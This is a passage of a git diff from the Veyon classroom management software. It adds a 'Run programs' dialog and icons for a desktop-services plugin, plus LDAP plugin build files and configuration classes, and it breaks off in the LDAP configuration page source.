b/plugins/desktopservices/RunProgramDialog.ui @@ -0,0 +1,77 @@ + + + Tobias Junghans + RunProgramDialog + + + Run programs + + + + :/desktopservices/preferences-desktop-launch-feedback.png:/desktopservices/preferences-desktop-launch-feedback.png + + + + + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + + + true + + + + + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + + + + QDialogButtonBox::Cancel|QDialogButtonBox::Ok + + + + + + + + + + + buttonBox + accepted() + RunProgramDialog + accept() + + + 199 + 384 + + + 199 + 206 + + + + + buttonBox + rejected() + RunProgramDialog + reject() + + + 199 + 384 + + + 199 + 206 + + + + + diff --git a/plugins/desktopservices/desktop-services.png b/plugins/desktopservices/desktop-services.png new file mode 100644 index 0000000000000000000000000000000000000000..fede805a797e3aef88258a4ec4e2fc75d3003e5c GIT binary patch literal 1292 zcmeAS@N?(olHy`uVBq!ia0vp^4Is?H3?#oinD`S&F&8^|hH!9j+vV<2B`qVXrlF;8Xk=_+YG!U>X=P*Y;OG<_l3iF-TvA$A zUQt<9-_Y39+ScAVVbYYDv*yfQzGCI-wd>Yz*t%`|j-9)9?>TVr(BX@huUx%${q>u- z@7{m-_~q-jA3uNn{`2?N*Zv9y2BzblE{-7;x8BamjK1X{aD2Ov59^))LH#9iE2mv* ze$;wx+qK2zdmXeEtrcP2|DQc$_vXeWCzsXE^7$0;?7!9aU9|Yx z`5UiI77bqfz_3BHPRMGvVS4yQ837YF8`g@fPk(t@C4bM7Yy3KQI>U!QRoXq>|E8O6 zl3@3I&+y=9ah2-qJsYm+Grwrvx#6K?Lq*+PskXoAo^}_*e!MR}s@xD(lQ_54@tQJw z$03Ei&v_lJ_icDq`ElRnsPc?CmU@glA6rZNrLZ>HAM)cy-743Cn^Hr{DkAc6bmQ@b9)`gcDOk=8gwXCOy=7BizXMU%{)~PEJ|E<5~QkW`W9Xu;b-j842=cv=d2(98PR&(lRfBI9f zDsqzX@_%yYO|$hyQa|>y&y;8I(KUHuc50EpxrKD>}V&U+{~uI57NUnsF&_o&EEjcX>BEG8Z&CFxCmO zaDSMrkiamFTdF~jfw6>-;qT-w1}n)17p03<4h$>~z*MIqwDR#6=AO^nPHcZuCkZNx NJYD@<);T3K0RTV^Ad&z8 literal 0 HcmV?d00001 diff --git a/plugins/desktopservices/desktopservices.qrc b/plugins/desktopservices/desktopservices.qrc new file mode 100644 index 0000000..9fdbc2f --- /dev/null +++ b/plugins/desktopservices/desktopservices.qrc @@ -0,0 +1,7 @@ + + + internet-web-browser.png + preferences-desktop-launch-feedback.png + desktop-services.png + + diff --git a/plugins/desktopservices/internet-web-browser.png b/plugins/desktopservices/internet-web-browser.png new file mode 100644 index 0000000000000000000000000000000000000000..f6861574d567201fadd2f9d79e6652c9430aae06 GIT binary patch literal 5425 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 VDM_1na|HkZ002ovPDHLkV1hp5OM(CZ literal 0 HcmV?d00001 diff --git a/plugins/ldap/CMakeLists.txt b/plugins/ldap/CMakeLists.txt new file mode 100644 index 0000000..6bf0e49 --- /dev/null +++ b/plugins/ldap/CMakeLists.txt @@ -0,0 +1,57 @@ +INCLUDE(BuildPlugin) + +# libraries and functions for LDAP support +FIND_PACKAGE(Ldap REQUIRED) +SET(CMAKE_REQUIRED_INCLUDES lber.h ldap.h) +SET(CMAKE_REQUIRED_LIBRARIES ${Ldap_LIBRARIES}) +CHECK_FUNCTION_EXISTS(ldap_start_tls_s HAVE_LDAP_START_TLS_S) +CHECK_FUNCTION_EXISTS(ldap_initialize HAVE_LDAP_INITIALIZE) +CHECK_FUNCTION_EXISTS(ber_memfree HAVE_BER_MEMFREE) +CHECK_FUNCTION_EXISTS(ldap_unbind_ext HAVE_LDAP_UNBIND_EXT) +CHECK_FUNCTION_EXISTS(ldap_extended_operation HAVE_LDAP_EXTENDED_OPERATION) +CHECK_FUNCTION_EXISTS(ldap_extended_operation_s HAVE_LDAP_EXTENDED_OPERATION_S) +CHECK_SYMBOL_EXISTS(ldap_extended_operation ldap.h HAVE_LDAP_EXTENDED_OPERATION_PROTOTYPE) +CHECK_SYMBOL_EXISTS(ldap_extended_operation_s ldap.h HAVE_LDAP_EXTENDED_OPERATION_S_PROTOTYPE) +CHECK_INCLUDE_FILES(ldap.h HAVE_LDAP_H) +SET(LDAP_FOUND TRUE) + +SET(kldap_SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/../../3rdparty/kldap/src) +CONFIGURE_FILE(${CMAKE_SOURCE_DIR}/3rdparty/kldap/src/kldap_config.h.cmake ${CMAKE_CURRENT_BINARY_DIR}/kldap_config.h) + +SET(kldap_SOURCES + ${kldap_SOURCE_DIR}/ber.cpp + ${kldap_SOURCE_DIR}/ldif.cpp + ${kldap_SOURCE_DIR}/ldapurl.cpp + ${kldap_SOURCE_DIR}/ldapserver.cpp + ${kldap_SOURCE_DIR}/ldapobject.cpp + ${kldap_SOURCE_DIR}/ldapconnection.cpp + ${kldap_SOURCE_DIR}/ldapoperation.cpp + ${kldap_SOURCE_DIR}/ldapcontrol.cpp + ${kldap_SOURCE_DIR}/ldapdn.cpp +) + +BUILD_PLUGIN(ldap + LdapPlugin.cpp + LdapConfiguration.cpp + LdapConfigurationPage.cpp + LdapDirectory.cpp + LdapNetworkObjectDirectory.cpp + KLdapIntegration.cpp + ${kldap_SOURCES} + MOCFILES + LdapPlugin.h + LdapConfiguration.h + LdapConfigurationPage.h + LdapDirectory.h + LdapNetworkObjectDirectory.h + FORMS + LdapConfigurationPage.ui + RESOURCES + ldap.qrc + COTIRE +) + +INCLUDE_DIRECTORIES(${Ldap_INCLUDE_DIRS} ${kldap_SOURCE_DIR}) + +TARGET_LINK_LIBRARIES(ldap ${Ldap_LIBRARIES}) + diff --git a/plugins/ldap/KLdapIntegration.cpp b/plugins/ldap/KLdapIntegration.cpp new file mode 100644 index 0000000..ce662b7 --- /dev/null +++ b/plugins/ldap/KLdapIntegration.cpp @@ -0,0 +1,27 @@ +/* + * KLdapIntegration.cpp - definition of logging category for kldap + * + * Copyright (c) 2016 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "ldap_debug.h" + +Q_LOGGING_CATEGORY(LDAP_LOG, "LDAP"); diff --git a/plugins/ldap/KLocalizedString b/plugins/ldap/KLocalizedString new file mode 100644 index 0000000..2ba476a --- /dev/null +++ b/plugins/ldap/KLocalizedString @@ -0,0 +1 @@ +#include "klocalizedstring.h" diff --git a/plugins/ldap/LdapConfiguration.cpp b/plugins/ldap/LdapConfiguration.cpp new file mode 100644 index 0000000..11cadb1 --- /dev/null +++ b/plugins/ldap/LdapConfiguration.cpp @@ -0,0 +1,35 @@ +/* + * LdapConfiguration.cpp - LDAP-specific configuration values + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "VeyonConfiguration.h" +#include "LdapConfiguration.h" + + +LdapConfiguration::LdapConfiguration( QObject* parent ) : + Configuration::Proxy( &VeyonCore::config(), parent ) +{ +} + + +FOREACH_LDAP_CONFIG_PROPERTY(IMPLEMENT_CONFIG_SET_PROPERTY) diff --git a/plugins/ldap/LdapConfiguration.h b/plugins/ldap/LdapConfiguration.h new file mode 100644 index 0000000..cb41000 --- /dev/null +++ b/plugins/ldap/LdapConfiguration.h @@ -0,0 +1,123 @@ +/* + * LdapConfiguration.h - LDAP-specific configuration values + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef LDAP_CONFIGURATION_H +#define LDAP_CONFIGURATION_H + +#include "Configuration/Proxy.h" +#include "CryptoCore.h" + +#define FOREACH_LDAP_CONFIG_PROPERTY(OP) \ + OP( LdapConfiguration, m_configuration, STRING, serverHost, setServerHost, "ServerHost", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, INT, serverPort, setServerPort, "ServerPort", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, INT, connectionSecurity, setConnectionSecurity, "ConnectionSecurity", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, INT, tlsVerifyMode, setTLSVerifyMode, "TLSVerifyMode", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, STRING, tlsCACertificateFile, setTLSCACertificateFile, "TLSCACertificateFile", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, BOOL, useBindCredentials, setUseBindCredentials, "UseBindCredentials", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, STRING, bindDn, setBindDn, "BindDN", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, PASSWORD, bindPassword, setBindPassword, "BindPassword", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, BOOL, queryNamingContext, setQueryNamingContext, "QueryNamingContext", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, STRING, baseDn, setBaseDn, "BaseDN", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, STRING, namingContextAttribute, setNamingContextAttribute, "NamingContextAttribute", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, STRING, userTree, setUserTree, "UserTree", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, STRING, groupTree, setGroupTree, "GroupTree", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, STRING, computerTree, setComputerTree, "ComputerTree", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, STRING, computerGroupTree, setComputerGroupTree, "ComputerGroupTree", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, BOOL, recursiveSearchOperations, setRecursiveSearchOperations, "RecursiveSearchOperations", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, STRING, userLoginAttribute, setUserLoginAttribute, "UserLoginAttribute", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, STRING, groupMemberAttribute, setGroupMemberAttribute, "GroupMemberAttribute", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, STRING, computerHostNameAttribute, setComputerHostNameAttribute, "ComputerHostNameAttribute", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, BOOL, computerHostNameAsFQDN, setComputerHostNameAsFQDN, "ComputerHostNameAsFQDN", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, STRING, computerMacAddressAttribute, setComputerMacAddressAttribute, "ComputerMacAddressAttribute", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, STRING, computerRoomNameAttribute, setComputerRoomNameAttribute, "ComputerRoomNameAttribute", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, STRING, usersFilter, setUsersFilter, "UsersFilter", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, STRING, userGroupsFilter, setUserGroupsFilter, "UserGroupsFilter", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, STRING, computersFilter, setComputersFilter, "ComputersFilter", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, BOOL, identifyGroupMembersByNameAttribute, setIdentifyGroupMembersByNameAttribute, "IdentifyGroupMembersByNameAttribute", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, STRING, computerGroupsFilter, setComputerGroupsFilter, "ComputerGroupsFilter", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, STRING, computerContainersFilter, setComputerContainersFilter, "ComputerContainersFilter", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, BOOL, computerRoomMembersByContainer, setComputerRoomMembersByContainer, "ComputerRoomMembersByContainer", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, BOOL, computerRoomMembersByAttribute, setComputerRoomMembersByAttribute, "ComputerRoomMembersByAttribute", "LDAP" ); \ + OP( LdapConfiguration, m_configuration, STRING, computerRoomAttribute, setComputerRoomAttribute, "ComputerRoomAttribute", "LDAP" ); \ + + +class LdapConfiguration : public Configuration::Proxy +{ + Q_OBJECT +public: + enum ConnectionSecurity + { + ConnectionSecurityNone, + ConnectionSecurityTLS, + ConnectionSecuritySSL, + ConnectionSecurityCount, + }; + + enum TLSVerifyMode + { + TLSVerifyDefault, + TLSVerifyNever, + TLSVerifyCustomCert, + TLSVerifyModeCount + }; + LdapConfiguration( QObject* parent = nullptr ); + + FOREACH_LDAP_CONFIG_PROPERTY(DECLARE_CONFIG_PROPERTY) + +public slots: + void setServerHost( const QString& ); + void setServerPort( int ); + void setConnectionSecurity( int ); + void setTLSVerifyMode( int ); + void setTLSCACertificateFile( const QString& ); + void setUseBindCredentials( bool ); + void setBindDn( const QString& ); + void setBindPassword( const QString& ); + void setBaseDn( const QString& ); + void setQueryNamingContext( bool ); + void setNamingContextAttribute( const QString& ); + void setUserTree( const QString& ); + void setGroupTree( const QString& ); + void setComputerTree( const QString& ); + void setComputerGroupTree( const QString& ); + void setRecursiveSearchOperations( bool ); + void setUserLoginAttribute( const QString& ); + void setGroupMemberAttribute( const QString& ); + void setComputerHostNameAttribute( const QString& ); + void setComputerHostNameAsFQDN( bool ); + void setComputerMacAddressAttribute( const QString& ); + void setComputerRoomNameAttribute( const QString& ); + void setUsersFilter( const QString& ); + void setUserGroupsFilter( const QString& ); + void setComputersFilter( const QString& ); + void setIdentifyGroupMembersByNameAttribute( bool ); + void setComputerGroupsFilter( const QString& ); + void setComputerContainersFilter( const QString& ); + void setComputerRoomMembersByContainer( bool ); + void setComputerRoomMembersByAttribute( bool ); + void setComputerRoomAttribute( const QString& ); + +} ; + +#endif diff --git a/plugins/ldap/LdapConfigurationPage.cpp b/plugins/ldap/LdapConfigurationPage.cpp new file mode 100644 index 0000000..ffc79a2 --- /dev/null +++ b/plugins/ldap/LdapConfigurationPage.cpp @@ -0,0 +1,690 @@ +/* + * LdapConfigurationPage.cpp - implementation of the LdapConfigurationPage class + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include + +#include "LdapConfiguration.h" +#include "LdapConfigurationPage.h" +#include "Configuration/UiMapping.h" +#include "LdapDirectory.h" + +#include "ui_LdapConfigurationPage.h" + +LdapConfigurationPage::LdapConfigurationPage( LdapConfiguration& configuration, QWidget* parent ) : + ConfigurationPage( parent ), + ui(new Ui::LdapConfigurationPage), + m_configuration( configuration ) +{ + ui->setupUi(this); + +#define CONNECT_BUTTON_SLOT(name) connect( ui->name, &QAbstractButton::clicked, this, &LdapConfigurationPage::name ); 